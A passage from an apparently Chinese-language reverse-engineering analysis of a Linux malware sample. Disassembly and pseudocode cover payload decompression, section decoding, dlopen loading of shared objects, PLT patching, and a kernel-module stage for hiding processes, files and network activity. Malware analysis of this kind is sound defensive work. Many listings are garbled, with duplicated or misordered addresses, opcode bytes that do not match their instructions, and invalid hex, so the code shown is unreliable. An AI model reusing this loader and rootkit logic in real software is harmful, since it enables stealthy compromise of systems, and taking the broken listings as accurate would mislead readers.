mov byte ptr [esp+10F0h+ref_payload_addr_], 0
mov [esp+10F0h+var_10C5], 0
mov byte ptr [esp+10F0h+vv_map_size], 2
mov [esp+10F0h+payload_struct], 0
mov [esp+10F0h+var_10CD], 1
jmp ret_error

; -----
jmp_804B8AA: ; CODE XREF: main+7B97j
mov eax, [esp+2Ch]
mov [esp], eax ; pid
call serial_bind_0xbd6033b3_channel
test eax, eax
jz loc_804B93F
mov [esp+10F0h+payload], 16h
```



涉及到的解压缩流程：



linux\_gzip函数:

```
LOAD:08057170 55          push    ebp
LOAD:08057171 31 D2        xor     edx, edx
LOAD:08057173 89 E5        mov     ebp, esp
LOAD:08057175 57          push    edi
LOAD:08057176 BF 01 00 00 00 mov     edi, 1
LOAD:0805717B 56          push    esi
LOAD:0805717C BE 1F 00 00 00 mov     esi, 1Fh
LOAD:08057181 53          push    ebx
LOAD:08057182 83 EC 5C     sub     esp, 5Ch
LOAD:08057185 8B 5D 0C     mov     ebx, [ebp+dst_len]
LOAD:08057188 8B 45 08     mov     eax, [ebp+dst_buf]
LOAD:0805718B C7 05 30 5A 06 08 00 00 00 00 mov     ds:dword_8065A30, 0
LOAD:08057195 C7 05 28 5A 06 08 00 00 00 00 mov     ds:g_gzip_key, 0
LOAD:0805719F C7 05 3C 5A 06 08 00 00 00 00 mov     ds:dword_8065A3C, 0
LOAD:080571A9 A3 20 5A 06 08 00 00 00 00 mov     ds:dword_8065A20, eax
LOAD:080571AE 31 C0        xor     eax, eax
LOAD:080571B0 C7 05 38 5A 06 08 00 00 00 00 mov     ds:dword_8065A38, 0
LOAD:080571BA C7 05 40 5A 06 08 00 00 00 00 mov     ds:dword_8065A40, 0
LOAD:080571C4 C7 05 44 5A 06 08 00 00 00 00 mov     ds:dword_8065A44, 0
LOAD:080571CE 89 1D 24 5A 06 08 00 00 00 00 mov     ds:dword_8065A24, ebx
LOAD:080571D4 89 5D E4     mov     [ebp+var_1C], ebx
LOAD:080571D7 90          nop
LOAD:080571D8
LOAD:080571D8          loc_80571D8:          ; CODE XREF: linux_gzip+7D4j
LOAD:080571D8 89 F1        mov     ecx, esi
LOAD:080571DA 89 FB        mov     ebx, edi
LOAD:080571DC 2B 0C 95 80 23 06 08 sub     ecx, ds:dword_8062380[edx*4]
LOAD:080571E3 83 C2 01     add     edx, 1
LOAD:080571E6 D3 E3        shl     ebx, cl
LOAD:080571E8 09 D8        or     eax, ebx
LOAD:080571EA 83 FA 0E     cmp     edx, 0Eh
LOAD:080571ED 75 E9        jnz    short loc_80571D8
LOAD:080571EF 8B 5D E4     mov     ebx, [ebp+var_1C]
LOAD:080571F2 BF 01 00 00 00 mov     edi, 1
LOAD:080571F7 C7 05 60 5A 06 08 00 00 00 00 mov     ds:dword_8065A60, 0
LOAD:08057201 8D B4 26 00 00 00 00 lea    esi, [esi+0]
LOAD:08057208          loc_8057208:          ; CODE XREF: linux_gzip+D84j
LOAD:08057208 89 F9        mov     ecx, edi
LOAD:0805720A 31 D2        xor     edx, edx
LOAD:0805720C 80 CD 01     or     ch, 1
```



## linux\_gzip\_inflate\_fixed函数：

```
LOAD:08056FE0 55          push    ebp
LOAD:08056FE1 89 E5         mov     ebp, esp
LOAD:08056FE3 56          push    esi
LOAD:08056FE4 BE 03 00 00 00 mov     esi, 3
LOAD:08056FE9 53          push    ebx
LOAD:08056FEA 83 EC 30     sub     esp, 30h
LOAD:08056FED C7 04 24 80 04 00 00 mov     dword ptr [esp], 480h
LOAD:08056FF4 E8 63 2A FF FF call   near ptr malloc_
LOAD:08056FF9 85 C0       test   eax, eax
LOAD:08056FFB 89 C3       mov     ebx, eax
LOAD:08056FFD 0F 84 F0 00 00 00 jz     loc_80570F3
LOAD:08057003 31 C0       xor     eax, eax
LOAD:08057005 8D 76 00     lea    esi, [esi+0]
LOAD:08057008
LOAD:08057008                loc_8057008:                ; CODE XREF: linux_gzip_inflate_fixed+371j
LOAD:08057008 C7 04 83 08 00 00 00 mov     dword ptr [ebx+eax*4], 8
LOAD:0805700F 83 C0 01     add     eax, 1
LOAD:08057012 3D 00 00 00 00 cmp     eax, 90h
LOAD:08057017 75 EF     jnz    short loc_8057008
LOAD:08057019 8D B4 26 00 00 00 00 lea    esi, [esi+0]
LOAD:08057020
LOAD:08057020                loc_8057020:                ; CODE XREF: linux_gzip_inflate_fixed+4F1j
LOAD:08057020 C7 04 83 09 00 00 00 mov     dword ptr [ebx+eax*4], 9
LOAD:08057027 83 C0 01     add     eax, 1
LOAD:0805702A 3D 00 01 00 00 00 cmp     eax, 100h
LOAD:0805702F 75 EF     jnz    short loc_8057020
LOAD:08057031 8D B4 26 00 00 00 00 lea    esi, [esi+0]
LOAD:08057038
LOAD:08057038                loc_8057038:                ; CODE XREF: linux_gzip_inflate_fixed+671j
LOAD:08057038 C7 04 83 07 00 00 00 mov     dword ptr [ebx+eax*4], 7
LOAD:0805703F 83 C0 01     add     eax, 1
LOAD:08057042 3D 18 01 00 00 00 cmp     eax, 118h
LOAD:08057047 75 EF     jnz    short loc_8057038
LOAD:08057049 8D B4 26 00 00 00 00 lea    esi, [esi+0]
LOAD:08057050
LOAD:08057050                loc_8057050:                ; CODE XREF: linux_gzip_inflate_fixed+7F1j
LOAD:08057050 C7 04 83 08 00 00 00 00 mov     dword ptr [ebx+eax*4], 8
LOAD:08057057 83 C0 01     add     eax, 1
LOAD:0805705A 3D 20 01 00 00 00 00 cmp     eax, 120h
LOAD:0805705F 75 EF     jnz    short loc_8057050
LOAD:08057061 8D 45 EC     lea    edx, [ebp+var_14]
LOAD:08057064 BA 20 01 00 00 00 mov     edx, 120h
LOAD:08057069 89 44 24 0C mov     [esp+0Ch], eax
LOAD:0805706D 8D 45 F4     lea    eax, [ebp+var_C]
LOAD:08057079 B9 01 01 00 00 00 mov     ecx, 101h
LOAD:08057075 89 44 24 08 mov     [esp+8], eax
LOAD:08057079 89 D8     mov     eax, ebx
LOAD:0805707B C7 45 EC 07 00 00 00 00 mov     [ebp+var_14], 7
LOAD:08057082 C7 44 24 04 A8 24 06 08 mov     dword ptr [esp+4], offset g_gzip_cplext
LOAD:0805708A C7 04 24 60 24 06 08 mov     dword ptr [esp], offset g_gzip_cplens
LOAD:08057091 E8 FA EE FF FF call   linux_gzip_huft_build
LOAD:08057096 31 D2     xor     edx, edx
LOAD:08057098 85 C0       test   eax, eax
LOAD:0805709A 0F 85 AA 00 00 00 00 jnz    loc_805714A
LOAD:080570A0
```

## linux\_gzip\_inflate\_dynamic函数：

```
LOAD:08056A90 55          push    ebp
LOAD:08056A93 89 E5         mov     ebp, esp
LOAD:08056A96 C7 04 24 F0 04 00 00 sub     esp, 78h
LOAD:08056A9D 89 5D F4     mov     dword ptr [esp], 4F0h
LOAD:08056AA0 89 7D FC     mov     [ebp+var_C], ebx
LOAD:08056AA3 89 75 F8     mov     [ebp+var_4], edi
LOAD:08056AAG E8 B1 2F FF FF call   near ptr malloc_
LOAD:08056AAB 8B 15 44 5A 06 08 mov     edx, ds:dword_8065A44
LOAD:08056AB1 8B 3D 40 5A 06 08 mov     edi, ds:dword_8065A40
LOAD:08056AB7 83 FA 04     cmp     edx, 4
LOAD:08056ABA 89 C3       mov     ebx, eax
LOAD:08056ABC 77 31     ja     short loc_8056AEF
LOAD:08056ABE A1 28 5A 06 08 mov     eax, ds:g_gzip_key
LOAD:08056AC3 BE 04 00 00 00 00 mov     esi, 4
LOAD:08056AC8 3B 05 24 5A 06 08 cmp     eax, ds:dword_8065A24
LOAD:08056ACE 0F 83 2C 01 00 00 00 jnb    loc_8056C00
LOAD:08056AD4 8B 0D 20 5A 06 08 mov     ecx, ds:dword_8065A20
LOAD:08056ADA 0F B6 34 01 movzx  esi, byte ptr [ecx+eax]
LOAD:08056ADE 89 D1     mov     ecx, edx
LOAD:08056AE0 83 C0 01     add     eax, 1
LOAD:08056AE3 83 C2 08     add     edx, 8
LOAD:08056AE6 A3 28 5A 06 08 mov     ds:g_gzip_key, eax
LOAD:08056AEB D3 E6     shl     esi, cl
LOAD:08056AED 09 F7     or     edi, esi
LOAD:08056AEF
LOAD:08056AEF                loc_8056AEF:                ; CODE XREF: linux_gzip_inflate_dynamic+2C7j
LOAD:08056AF2 8D 4A FB     lea    ecx, [edx-5]
LOAD:08056AF2 89 F8     mov     eax, edi
LOAD:08056AF4 C1 E8 05     shr     eax, 5
LOAD:08056AF7 83 F9 04     cmp     ecx, 4
LOAD:08056AFD 89 45 CC     mov     [ebp+var_34], eax
LOAD:08056AFD 89 4D 00     mov     [ebp+var_30], ecx
LOAD:08056B00 77 3F     ja     short loc_8056B41
LOAD:08056B02 A1 28 5A 06 08 mov     eax, ds:g_gzip_key
LOAD:08056B07 BE 04 00 00 00 00 mov     esi, 4
LOAD:08056B0C 3B 05 24 5A 06 08 cmp     eax, ds:dword_8065A24
LOAD:08056B12 89 45 04     mov     [ebp+var_2C], eax
LOAD:08056B15 0F 83 E5 00 00 00 00 jnb    loc_8056C00
LOAD:08056B18 8B 4D 04     mov     ecx, [ebp+var_2C]
LOAD:08056B1E 83 C2 03     add     edx, 3
LOAD:08056B21 A1 20 5A 06 08 mov     eax, ds:dword_8065A20
LOAD:08056B26 0F B6 04 08 movzx  ecx, byte ptr [eax+ecx]
LOAD:08056B2A 0F B6 4D D0 movzx  eax, byte ptr [ebp+var_30]
LOAD:08056B2E 89 55 D0     mov     [ebp+var_30], edx
LOAD:08056B31 D3 E0     shl     eax, cl
LOAD:08056B33 09 45 CC     or     [ebp+var_34], eax
LOAD:08056B36 8B 45 D4     mov     eax, [ebp+var_2C]
LOAD:08056B39 83 C0 01     add     eax, 1
```

## linux\_gzip\_inflate\_codes函数：

```

LOAD:000565A6 83 EC 5C
LOAD:000565A9 8B 35 40 5A 06 08
LOAD:000565AF 89 55 C4
LOAD:000565B2 0F B7 94 09 20 24 06 08
LOAD:000565BA 89 4D DC
LOAD:000565BD 8B 4D 08
LOAD:000565C0 89 45 D4
LOAD:000565C3 A1 3C 5A 06 08
LOAD:000565C8 8B 1D 44 5A 06 08
LOAD:000565CE 89 55 D8
LOAD:000565D1 0F B7 8C 09 20 24 06 08
LOAD:000565D9 89 45 D0
LOAD:000565DC 89 4D C8
LOAD:000565DF
LOAD:000565DF loc_80565DF: ; CODE XREF: linux_gzip_inflate_codes+2C41j
LOAD:000565DF ; linux_gzip_inflate_codes+2E81j ...
LOAD:000565DF 3B 5D DC
LOAD:000565E2 73 35
LOAD:000565E4
LOAD:000565E4 loc_80565E4: ; CODE XREF: linux_gzip_inflate_codes+771j
LOAD:000565E4 8B 15 28 5A 06 08
LOAD:000565EA 3B 15 24 5A 06 08
LOAD:000565F0 0F B7 22 01 00 00
LOAD:000565F6 A1 20 5A 06 08
LOAD:000565FB 89 D9
LOAD:000565FD 83 C3 08
LOAD:00056600 0F B6 04 10
LOAD:00056604 83 C2 01
LOAD:00056607 89 15 28 5A 06 08
LOAD:0005660F 0F B6 C0
LOAD:00056610 D3 E0
LOAD:00056612 09 C6
LOAD:00056614 3B 5D DC
LOAD:00056617 72 CB
LOAD:00056619
LOAD:00056619 loc_8056619: ; CODE XREF: linux_gzip_inflate_codes+421j
LOAD:00056619 8B 45 D8
LOAD:0005661C 8B 55 D4
LOAD:0005661F 21 F0
LOAD:00056621 8D 04 C2
LOAD:00056624 0F B6 08
LOAD:00056627 89 45 E0
LOAD:0005662A 83 F9 10
LOAD:0005662D 89 4D E4
LOAD:00056630 0F B6 22 01 00 00
LOAD:00056636 83 F9 63
LOAD:00056639 0F B4 18 04 00 00
LOAD:0005663F A1 20 5A 06 08
LOAD:00056644 8B 3D 24 5A 06 08
LOAD:0005664A 89 45 CC
LOAD:0005664D A1 28 5A 06 08
LOAD:00056652
LOAD:00056652 loc_8056652: ; CODE XREF: linux_gzip_inflate_codes+2201j
push    eax
sub     esp, 5Ch
mov     esi, ds:dword_8065A40
mov     [ebp+var_3C], edx
movzx  edx, ds:g_gzip_mask_bits[ecx+ecx]
mov     [ebp+var_24], ecx
mov     ecx, [ebp+arg_0]
mov     [ebp+var_2C], eax
mov     eax, ds:dword_8065A3C
mov     ebx, ds:dword_8065A44
mov     [ebp+var_28], edx
movzx  ecx, ds:g_gzip_mask_bits[ecx+ecx]
mov     [ebp+var_30], eax
mov     [ebp+var_38], ecx

loc_80565DF:
cmp     ebx, [ebp+var_24]
jnb    short loc_8056619

loc_80565E4:
mov     edx, ds:g_gzip_key
cmp     edx, ds:dword_8065A24
jnb    loc_8056718
mov     eax, ds:dword_8065A20
mov     ecx, ebx
add     ebx, 8
movzx  eax, byte ptr [eax+edx]
add     edx, 1
mov     ds:g_gzip_key, edx
movzx  eax, al
shl     eax, cl
or     esi, eax
cmp     ebx, [ebp+var_24]
jnb    short loc_8056619

loc_8056619:
mov     eax, [ebp+var_28]
mov     edx, [ebp+var_2C]
and     eax, esi
lea     eax, [edx+eax*8]
movzx  ecx, byte ptr [eax]
mov     [ebp+var_20], eax
cmp     ecx, 10h
mov     [ebp+var_1C], ecx
jbe    loc_8056758
cmp     ecx, 63h ; 'c'
jz     loc_8056A57
mov     eax, ds:dword_8065A20
mov     edi, ds:dword_8065A24
mov     [ebp+var_34], eax
mov     eax, ds:g_gzip_key

loc_8056652:

```

## linux\_gzip\_fill\_buf函数：

```

LOAD:000564E0 55
LOAD:000564E1 89 E5
LOAD:000564E3 57
LOAD:000564E4 56
LOAD:000564E5 53
LOAD:000564E6 83 EC 2C
LOAD:000564E9 8B 35 3C 5A 06 08
LOAD:000564EF 8B 1D 2C 5A 06 08
LOAD:000564F5 85 F6
LOAD:000564F7 75 27
LOAD:000564F9
LOAD:000564F9 loc_80564F9: ; CODE XREF: linux_gzip_fill_buf+8D1j
LOAD:000564F9 ; linux_gzip_fill_buf+851j
LOAD:000564F9 89 1D 2C 5A 06 08
LOAD:000564FF 31 C0
LOAD:00056501 01 35 30 5A 06 08
LOAD:00056507 C7 05 3C 5A 06 08 00 00 00 00
LOAD:00056511 83 C4 2C
LOAD:00056514 5B
LOAD:00056515 5E
LOAD:00056516 5F
LOAD:00056517 5D
LOAD:00056518 C3
LOAD:00056518
LOAD:00056519 8D B4 26 00 00 00 00
LOAD:00056520
LOAD:00056520 loc_8056520: ; CODE XREF: linux_gzip_fill_buf+171j
LOAD:00056520 8B 3D 38 5A 06 08
LOAD:00056526 A1 34 5A 06 08
LOAD:0005652B 8D 14 37
LOAD:0005652E 89 54 24 04
LOAD:00056532 89 55 E4
LOAD:00056535 89 04 24
LOAD:00056538 E8 93 A3 00 00
LOAD:0005653D 8B 55 E4
LOAD:00056540 85 C0
LOAD:00056542 74 21
LOAD:00056544 A3 34 5A 06 08
LOAD:00056549 01 F8
LOAD:0005654B 89 15 38 5A 06 08
LOAD:00056551 89 74 24 08
LOAD:00056555 C7 44 24 04 80 5E 06 08
LOAD:0005655D 89 04 24
LOAD:00056560 E8 87 35 FF FF
LOAD:00056565
LOAD:00056565 loc_8056565: ; CODE XREF: linux_gzip_fill_buf+621j
LOAD:00056565 8B 35 3C 5A 06 08
push    ebp
mov     ebp, esp
push    edi
push    esi
push    ebx
sub     esp, 2Ch
mov     esi, ds:dword_8065A3C
mov     ebx, ds:dword_8065A2C
test    esi, esi
jnz    short loc_8056520

loc_80564F9:
mov     ds:dword_8065A2C, ebx
xor     eax, eax
add     ds:dword_8065A30, esi
mov     ds:dword_8065A3C, 0
add     esp, 2Ch
pop     ebx
pop     esi
pop     edi
pop     ebp
retn

; -----
align 10h

loc_8056520:
mov     edi, ds:dword_8065A38
mov     eax, ds:dword_8065A34
lea     edx, [edi+esi]
mov     [esp+4], edx
mov     [ebp+var_1C], edx
mov     [esp], eax
call    serial_bind_0x74e5f2a8_
mov     edx, [ebp+var_1C]
test    eax, eax
jz     short loc_8056565
mov     ds:dword_8065A34, eax
add     eax, edi
mov     ds:dword_8065A38, edx
mov     [esp+8], esi
mov     dword ptr [esp+4], offset byte_8065E80
mov     [esp], eax
call    near ptr memmove_...

loc_8056565:
mov     esi, ds:dword_8065A3C

```

## linux\_gzip\_huft\_build函数：

```

LOAD:00055F90          linux_gzip_huft_build proc near
LOAD:00055F90
LOAD:00055F90          var_7C             = dword ptr -7Ch
LOAD:00055F90          var_6C             = dword ptr -6Ch
LOAD:00055F90          var_68             = dword ptr -68h
LOAD:00055F90          var_64             = dword ptr -64h
LOAD:00055F90          var_60             = dword ptr -60h
LOAD:00055F90          var_5C             = dword ptr -5Ch
LOAD:00055F90          var_58             = dword ptr -58h
LOAD:00055F90          var_54             = dword ptr -54h
LOAD:00055F90          var_50             = dword ptr -50h
LOAD:00055F90          var_4C             = dword ptr -4Ch
LOAD:00055F90          var_48             = dword ptr -48h
LOAD:00055F90          var_44             = dword ptr -44h
LOAD:00055F90          var_40             = dword ptr -40h
LOAD:00055F90          var_3C             = dword ptr -3Ch
LOAD:00055F90          var_38             = dword ptr -38h
LOAD:00055F90          var_34             = dword ptr -34h
LOAD:00055F90          var_30             = dword ptr -30h
LOAD:00055F90          var_2C             = dword ptr -2Ch
LOAD:00055F90          var_28             = dword ptr -28h
LOAD:00055F90          var_24             = dword ptr -24h
LOAD:00055F90          var_20             = dword ptr -20h
LOAD:00055F90          var_1C             = dword ptr -1Ch
LOAD:00055F90          arg_0              = dword ptr  8
LOAD:00055F90          arg_4              = dword ptr  0Ch
LOAD:00055F90          arg_8              = dword ptr  10h
LOAD:00055F90          arg_C              = dword ptr  14h
LOAD:00055F90
LOAD:00055F90          push               ebp
LOAD:00055F91          mov                ebp, esp
LOAD:00055F93          push               edi
LOAD:00055F94          push               esi
LOAD:00055F95          mov                esi, 3
LOAD:00055F9A          push               ebx
LOAD:00055F9B          sub                esp, 8Ch
LOAD:00055FA1          mov                dword ptr [esp], 548h
LOAD:00055FA8          mov                [ebp+var_28], eax
LOAD:00055FAB          mov                [ebp+var_1C], edx
LOAD:00055FAE          mov                [ebp+var_54], ecx
LOAD:00055FB1          call               near ptr malloc_...
LOAD:00055FB6          test               eax, eax
LOAD:00055FB8          mov                ebx, eax
LOAD:00055FBA          jz                 loc_0056438
LOAD:00055FC0          xor                eax, eax
LOAD:00055FC2          mov                ecx, 11h
LOAD:00055FC7          mov                edi, ebx
LOAD:00055FC9          rep                stosd
LOAD:00055FCB          mov                edx, [ebp+var_1C]
LOAD:00055FCE          mov                eax, [ebp+var_28]
LOAD:00055FD1          mov                [ebp+var_2C], edx
LOAD:00055FD4          lea                esi, [esi+0]
LOAD:00055FD8

```

整体抽象出来的大致C语言代码如下（未能完全覆盖）：

```

for(i = 0; i < section_count; i++)
{
    serial_section_information *si;
    si = (serial_section_information *) (buffer + offset);

    printf("0x%02X|0x%02X|srcLen=0x%03X|dstLen=0x%03X\n", si->D, si->F1, hton(si->src_size), hton(si->dst_size), hton(si->check_sum));
    offset += sizeof(serial_section_information);
    //if(i == 0x00)
    {
        src_size = hton(si->src_size);
        dst_size = hton(si->dst_size);
        src_buf = (char *) (buffer + offset);
        dst_buf = (char *) loc(dst_size);
        memset(dst_buf, 0, dst_size);
        checksum = serial_bin_md5refc3f_checksum(0, NULL, 0);
        checksum = serial_bin_md5refc3f_checksum(checksum, src_buf, src_size);
        serial_bin_md5refc3f_encode(src_buf, src_size, dst_buf, dst_size);
        memset(str, 0, 25);
        sprintf(str, "sec_0x%02X", i);
        dp = fopen(str, "wb");
        fwrite(dp, 3, SERIAL_SIZE);
        fwrite(dst_buf, dst_size, 1, dp);
        fclose(dp);
        free(dst_buf);
    }
    offset += hton(si->src_size);
}

```

已知的payload文件格式如下：

```

typedef struct __serial_section_information
{
    uint8 magic[0x10];
    uint8 f0;
    uint8 f1;
    uint32 reversed;
    uint32 dst_size;
    uint32 src_size;
    uint32 check_sum;
};
serial_section_information;

```



在实际样本运行过程中，在上述Decode回调调用过程中业会直接开始尝试加载so类型的文件：

```
LOAD:0005E846 E8 95 1C 00 00      call     serial_bind_0x227ffec5_calloc
LOAD:0005E848 85 C0             test    eax, eax
LOAD:0005E84D 89 43 2C             mov     [ebx+2Ch], eax
LOAD:0005E850 74 56             jz     short loc_805E8A8
LOAD:0005E852 8B 45 E4             mov     eax, [ebp+var_1C]
LOAD:0005E855 8B 50 0C             mov     edx, [eax+0Ch]
LOAD:0005E858 39 D6             cmp     esi, edx
LOAD:0005E85A 76 83             jbe    short loc_805E80F
LOAD:0005E85C 89 D7             mov     edi, edx
LOAD:0005E85E EB 07             jmp     short loc_805E867
LOAD:0005E860             ;
LOAD:0005E860             ;
LOAD:0005E860 83 C7 08             add     edi, 8 ; CODE XREF: serial_loadso+CA1j
LOAD:0005E863 39 FE             cmp     esi, edi
LOAD:0005E865 76 35             jbe    short loc_805E89C
LOAD:0005E867             ;
LOAD:0005E867             ;
LOAD:0005E867 83 3F 01             cmp     dword ptr [edi], 1 ; CODE XREF: serial_loadso+BE1j
LOAD:0005E86A 75 F4             jnz    short loc_805E860 ; serial_loadso+FA1j
LOAD:0005E86C 8B 45 E0             mov     eax, [ebp+var_20]
LOAD:0005E86F C7 44 24 04 01 01 00 00     mov     dword ptr [esp+4], GL_LOAD
LOAD:0005E877 03 47 04             add     eax, [edi+4]
LOAD:0005E87A 89 04 24             mov     [esp], eax
LOAD:0005E87D E8 3A AE FE FF     call    near ptr dlopen_ ; 尝试加载so文件
LOAD:0005E882 85 C0             test    eax, eax
LOAD:0005E884 74 93             jz     short loc_805E819
LOAD:0005E886 8B 53 30             mov     edx, [ebx+30h]
LOAD:0005E889 83 C7 08             add     edi, 8
LOAD:0005E88C 8B 48 2C             mov     ecx, [ebx+2Ch]
LOAD:0005E88F 89 04 91             mov     [ecx+edx*4], eax
LOAD:0005E892 83 C2 01             add     edx, 1
LOAD:0005E895 39 FE             cmp     esi, edi
LOAD:0005E897 89 53 30             mov     [ebx+30h], edx
LOAD:0005E89A 77 CB             ja     short loc_805E867
LOAD:0005E89C             ;
LOAD:0005E89C             ;
LOAD:0005E89C 31 FF             xor     edi, edi ; CODE XREF: serial_loadso+C51j
LOAD:0005E89E 83 C4 2C             add     esp, 2Ch
LOAD:0005E8A1 89 F8             mov     eax, edi
LOAD:0005E8A3 5B             pop     ebx
LOAD:0005E8A4 5E             pop     esi
LOAD:0005E8A5 5F             pop     edi
LOAD:0005E8A6 5D             pop     ebp
LOAD:0005E8A7 C3             retn
LOAD:0005E8A8             ;
LOAD:0005E8A8             ;
LOAD:0005E8A8 BF 04 00 00 D0     mov     edi, 0D000004h ; CODE XREF: serial_loadso+B01j
LOAD:0005E8AD E9 6E FF FF FF     jmp     loc_805E820
LOAD:0005E8AD             serial_loadso
LOAD:0005E8AD             endp
LOAD:0005E8AD             ;
LOAD:0005E8AD             ;
LOAD:0005E8AD             ;
```

在试图加载后会去尝试补丁elf文件格式的plt：

```
LOAD:0005E933 83 10             test    eax, eax
LOAD:0005E935 74 29             jz     short loc_805E960
LOAD:0005E937             ;
LOAD:0005E937             ;
LOAD:0005E937 80 4F 34 02             or     byte ptr [edi+34h], 2 ; CODE XREF: serial_bind_0x531ab53f_got+2971j
LOAD:0005E93B 31 C0             xor     eax, eax
LOAD:0005E93D E9 73 FE FF FF     jmp     loc_805E7B5
LOAD:0005E93D             ;
LOAD:0005E93D             ;
LOAD:0005E942 8D B6 00 00 00 00     align 8
LOAD:0005E948             ; CODE XREF: serial_bind_0x531ab53f_got+6B1j
LOAD:0005E948             ;
LOAD:0005E948 89 3C 24             mov     [esp], edi
LOAD:0005E948 E8 50 01 00 00     call    serial_loadso
LOAD:0005E950 85 C0             test    eax, eax
LOAD:0005E952 0F 85 5D FE FF FF     jnz    loc_805E7B5
LOAD:0005E958 8B 47 0C             mov     eax, [edi+0Ch]
LOAD:0005E95B E9 F1 FD FF FF     jmp     loc_805E751
LOAD:0005E960             ;
LOAD:0005E960             ;
LOAD:0005E960             ;
LOAD:0005E960 8B 45 18             mov     eax, [ebp+arg_10] ; CODE XREF: serial_bind_0x531ab53f_got+2551j
LOAD:0005E963 89 3C 24             mov     [esp], edi
LOAD:0005E966 89 44 24 04             mov     [esp+4], eax
LOAD:0005E96A E8 51 02 00 00     call    serial_elf_patch_plt ; 尝试修复elf文件格式的plt
LOAD:0005E96F 85 C0             test    eax, eax
LOAD:0005E971 0F 85 3E FE FF FF     jnz    loc_805E7B5
LOAD:0005E977 EB BE             jmp     short loc_805E937
LOAD:0005E979             ;
LOAD:0005E979             ;
LOAD:0005E979             ;
LOAD:0005E979 8B 43 18             mov     eax, [ebx+18h] ; CODE XREF: serial_bind_0x531ab53f_got+22B1j
LOAD:0005E97C 8D 74 26 00     lea     esi, [esi+0]
LOAD:0005E980 EB 88             jmp     short loc_805E900
LOAD:0005E982             ;
LOAD:0005E982             ;
LOAD:0005E982             ;
LOAD:0005E982 8B 11 00 00 D0     mov     eax, 0D0000011h ; CODE XREF: serial_bind_0x531ab53f_got+12B1j
LOAD:0005E987 E9 29 FE FF FF     jmp     loc_805E7B5
LOAD:0005E987             serial_bind_0x531ab53f_got
LOAD:0005E987             endp
LOAD:0005E987             ;
LOAD:0005E987             ;
LOAD:0005E987             ;
LOAD:0005E98C 8D 74 26 00     align 10h
LOAD:0005E990             ;
LOAD:0005E990             ;
LOAD:0005E990             ;
LOAD:0005E990             ;
LOAD:0005E990             ;
LOAD:0005E990             ;
LOAD:0005E990             ;
LOAD:0005E990             ;
LOAD:0005E990             ;
```

## Bvp引擎初始化与内核模块加载

内核模块的解密与加载也会在mian流程里执行，会经历如下的几个步骤：

1. 解密payload包；
2. 初始化Bvp引擎，适配对应内核版本结构；
3. 开始尝试装载ko模块，主要用于进程、文件、网络的隐藏等；

具体如下：

1. 尝试解密ko的payload；





## 2. Bvp整体处理函数；

```

LOAD:08058BC0 serial_Bvp_process proc near ; CODE XREF: serial_config_play_0x00000001+F1j
LOAD:08058BC0 ; serial_config_play_0x00000000+C1j
LOAD:08058BC0 var_8 = dword ptr -8
LOAD:08058BC0 var_4 = dword ptr -4
LOAD:08058BC0
LOAD:08058BC0 55 push ebp
LOAD:08058BC1 89 E5 mov ebp, esp
LOAD:08058BC3 83 EC 18 sub esp, 18h
LOAD:08058BC6 89 5D F8 mov [ebp+var_8], ebx
LOAD:08058BC9 89 C3 mov ebx, eax
LOAD:08058BCB 89 75 FC mov [ebp+var_4], esi
LOAD:08058BCE 8B 00 mov eax, [eax]
LOAD:08058BD2 A3 AC DE 06 08 mov esi, edx
LOAD:08058BD7 E8 D4 FD FF FF call ds:ELF_API_0x08052A40, eax
LOAD:08058BDC 3C 01 cmp al, 1
LOAD:08058BDE 74 18 jz short it_should_jump_patch_75
LOAD:08058BE0 E8 7B FF FF FF call serial_bvp_sym
LOAD:08058BE5 89 C2 mov edx, eax
LOAD:08058BE7 31 C0 xor eax, eax
LOAD:08058BE9 80 FA 01 cmp dl, 1
LOAD:08058BEC 74 2A jz short loc_8058C18
LOAD:08058BEE 8B 5D F8 mov ebx, [ebp+var_8]
LOAD:08058BF1 8B 75 FC mov esi, [ebp+var_4]
LOAD:08058BF4 89 EC mov esp, ebp
LOAD:08058BF6 5D pop ebp
LOAD:08058BF7 C3 retn
LOAD:08058BF8 ; -----
LOAD:08058BF8 it_should_jump_patch_75: ; CODE XREF: serial_Bvp_process+1E1j
LOAD:08058BF8 8B 43 08 mov eax, [ebx+8]
LOAD:08058BFB 89 34 24 mov [esp], esi ; xx
LOAD:08058BFE 89 44 24 08 mov [esp+8], eax ; zz
LOAD:08058C02 8B 43 04 mov eax, [ebx+4]
LOAD:08058C05 89 44 24 04 mov [esp+4], eax ; yy
LOAD:08058C09 E8 42 0B 00 00 call serial_bvp
LOAD:08058C0E 8B 5D F8 mov ebx, [ebp+var_8]
LOAD:08058C11 8B 75 FC mov esi, [ebp+var_4]
LOAD:08058C14 89 EC mov esp, ebp
LOAD:08058C16 5D pop ebp
LOAD:08058C17 C3 retn
LOAD:08058C18 ; -----
LOAD:08058C18 loc_8058C18: ; CODE XREF: serial_Bvp_process+2C1j
LOAD:08058C18 89 34 24 mov [esp], esi
LOAD:08058C1B E8 30 1D 00 00 call serial_bvp_sym
LOAD:08058C20 8B 5D F8 mov ebx, [ebp+var_8]
LOAD:08058C23 8B 75 FC mov esi, [ebp+var_4]
LOAD:08058C26 89 EC mov esp, ebp
LOAD:08058C28 5D pop ebp
LOAD:08058C29 C3 retn
LOAD:08058C29 serial_Bvp_process endp
LOAD:08058C29 ; -----
LOAD:08058C29 align 10h
LOAD:08058C2A 8D B6 00 00 00 00
LOAD:08058C30 ; ===== SUBROUTINE =====
LOAD:08058C30
000108C0:08058BC0: serial_bvp_process (Synchronized with Hex View-1)

```

对应的伪代码：

```

1 int __usercall serial_Bvp_process@<eax>(int *a1@<eax>, int a2@<edx>)
2 {
3     char v4; // dl
4     int result; // eax
5
6     ELF_API_0x08052A40 = *a1;
7     if ( (unsigned __int8)serial_bvp_config() == 1 )
8         return serial_bvp(a2, a1[1], a1[2]);
9     v4 = serial_bvp_sym();
10    result = 0;
11    if ( v4 == 1 )
12        result = serial_Bvp_sym(a2);
13    return result;
14 }

```

### 3. Bvp引擎的初始化 serial\_bvp 函数

```
LOAD:080589B0
LOAD:080589B0 55 |
LOAD:080589B1 89 E5 |
LOAD:080589B3 81 EC 38 01 00 00 |
LOAD:080589B9 80 85 10 FF FF FF |
LOAD:080589BF 89 5D F4 |
LOAD:080589C2 8B 1D AC DE 06 08 |
LOAD:080589C8 89 75 F8 |
LOAD:080589CB 80 85 DF FE FF FF |
LOAD:080589D1 89 7D FC |
LOAD:080589D4 C7 45 E4 00 00 00 00 |
LOAD:080589DB C7 45 E0 00 00 00 00 |
LOAD:080589E2 C7 45 DC 00 00 00 00 |
LOAD:080589E9 C7 45 D8 00 00 00 00 |
